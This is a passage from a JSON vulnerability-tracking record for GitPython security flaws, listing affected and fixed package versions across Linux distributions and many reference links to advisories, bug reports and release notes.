SP6","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.2~RC1-3ubuntu0.1~esm3"}]}],"versions":["0.3.2~RC1-2","0.3.2~RC1-3","0.3.2~RC1-3ubuntu0.1~esm1","0.3.2~RC1-3ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4"}]}],"versions":["1.0.1+git137-gc8b8379-1","1.0.1+git137-gc8b8379-2","1.0.1+git137-gc8b8379-2.1","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm1","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.8-1ubuntu0.1~esm4"}]}],"versions":["2.1.5-1","2.1.6-1","2.1.7-1","2.1.8-1","2.1.8-1ubuntu0.1~esm1","2.1.8-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-1ubuntu0.1~esm4"}]}],"versions":["2.1.11-1","3.0.4-1","3.0.5-1","3.0.7-1","3.0.7-1ubuntu0.1~esm1","3.0.7-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.24-1ubuntu0.1~esm3"}]}],"versions":["3.1.14-1","3.1.23-1","3.1.24-1","3.1.24-1ubuntu0.1~esm1","3.1.24-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.37-3ubuntu0.1~esm2"}]}],"versions":["3.1.30-1","3.1.37-1","3.1.37-3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.44-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.46-1","3.1.50-1","3.1.61-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.46-1ubuntu0.1~esm1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.2~RC1-3ubuntu0.1~esm3"}]}],"versions":["0.3.2~RC1-2","0.3.2~RC1-3","0.3.2~RC1-3ubuntu0.1~esm1","0.3.2~RC1-3ubuntu0.1~esm2"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4"}]}],"versions":["1.0.1+git137-gc8b8379-1","1.0.1+git137-gc8b8379-2","1.0.1+git137-gc8b8379-2.1","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm1","1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.8-1ubuntu0.1~esm4"}]}],"versions":["2.1.5-1","2.1.6-1","2.1.7-1","2.1.8-1","2.1.8-1ubuntu0.1~esm1","2.1.8-1ubuntu0.1~esm2"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-1ubuntu0.1~esm4"}]}],"versions":["2.1.11-1","3.0.4-1","3.0.5-1","3.0.7-1","3.0.7-1ubuntu0.1~esm1","3.0.7-1ubuntu0.1~esm2"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.24-1ubuntu0.1~esm3"}]}],"versions":["3.1.14-1","3.1.23-1","3.1.24-1","3.1.24-1ubuntu0.1~esm1","3.1.24-1ubuntu0.1~esm2"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.37-3ubuntu0.1~esm2"}]}],"versions":["3.1.30-1","3.1.37-1","3.1.37-3"],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"python-git","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.46-1ubuntu0.1~esm1"}]}],"versions":["3.1.44-1","3.1.45-1","3.1.46-1"],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.49-1.1"}]}],"bundled":3}],"products":[{"vendor":"gitpython-developers","product":"gitpython"},{"vendor":"gitpython_project","product":"gitpython"}],"references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","article","report"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","tags":["x_refsource_MISC","Patch","Release Notes","web","fix","article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mv93-w799-cj2w"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215","tags":["advisory"]},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-42215","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42215.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42215","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0372.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35535","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AV5DV7GBLMOZT7U3Q4TDOJO5R6G3V6GH/","tags":["web"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/09/msg00036.html","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.50","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49","tags":["web","article"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.46","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.45","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.44","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.43","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.42","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.41","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.40","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.38","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.37","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.35","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.34","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.33","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.32","tags":["web"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.31","tags":["web"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2306","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2307","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2308","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42078","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453496","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456333","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2460927","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2461624","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466582","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466684","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467822","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477154","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480756","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480757","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480761","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487937","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487938","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487942","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487943","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487947","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487948","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487949","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489126","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2490703","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42078.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4800","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4800","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4800","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-6321","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-6321","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6321","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-6322","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-6322","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6322","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-8643","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-8643","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8643","tags":["advisory"]},{"url":"https://github.com/pypa/pip/commit/8eb178480bd1a2b223f509fc430796b265158dfb","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-11332","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-11332","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332","tags":["advisory"]},{"url":"https://github.com/ansible/ansible","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12382","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12382","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12382","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12701","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12701","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12701","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25681","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-25681","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25681","tags":["advisory"]},{"url":"https://go.dev/cl/781703","tags":["article"]},{"url":"https://go.dev/issue/79574","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5029","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27136","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27136","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27136","tags":["advisory"]},{"url":"https://go.dev/cl/781685","tags":["article"]},{"url":"https://go.dev/issue/79575","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5030","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32281","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32281","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32281","tags":["advisory"]},{"url":"https://go.dev/cl/758061","tags":["article"]},{"url":"https://go.dev/issue/78281","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4946","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33811","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33811","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33811","tags":["advisory"]},{"url":"https://go.dev/cl/767860","tags":["article"]},{"url":"https://go.dev/issue/78803","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/qcCIEXso47M","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4981","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39821","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39821","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39821","tags":["advisory"]},{"url":"https://go.dev/cl/767220","tags":["article"]},{"url":"https://go.dev/issue/78760","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5026","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42044","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42044","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42044","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42215","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467802","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42215","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42284","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467800","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42284","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42284","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42784","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464122","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42784","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42784","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44244","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467804","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44244","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44432","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44432","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432","tags":["advisory"]},{"url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44486","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44486","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44486","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44487","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44487","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44487","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44488","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44488","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44488","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44492","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44492","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44492","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44494","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44494","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44494","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44495","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44495","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44495","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44496","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44496","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44496","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42079","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6#Upgrade","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484207","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_42079.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27145","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27145","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27145","tags":["advisory"]},{"url":"https://go.dev/cl/783621","tags":["article"]},{"url":"https://go.dev/issue/79694","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5037","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:63385","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/SAT-45592","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-46105","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48574","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48584","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48585","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48586","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48587","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48588","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48589","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48628","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63385.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-10051","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2499928","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-10051","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10051","tags":["advisory"]},{"url":"https://gitlab.eclipse.org/security/cve-assignment/-/work_items/119","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-16493","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2503724","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-16493","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16493","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34993","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484099","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34993","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45363","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500739","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45363","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45363","tags":["advisory"]},{"url":"https://github.com/jwt/ruby-jwt/commit/9820020869ad147b941e49d96ab8beba35532964","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/commit/db560b769a07bd9724e77ff505011ac01872106f","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/releases/tag/v2.10.3","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/releases/tag/v3.2.0","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/security/advisories/GHSA-c32j-vqhx-rx3x","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54512","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492015","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54512","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54512","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/434d6c511de7fdd9872f29157aafb6162d12d8d5","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5988","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-68494","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2511026","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-68494","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68494","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/pull/1611","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9","tags":["article"]},{"url":"https://github.com/advisories/GHSA-72hv-8253-57qq","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-18401","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69243","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510831","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69243","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69243","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/pull/13017","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69244","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510825","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69244","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69244","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/pull/13223","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73620","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515261","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73620","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73620","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73622","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515269","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73622","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73622","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2","tags":["article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73623","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515275","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73623","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73623","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73624","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=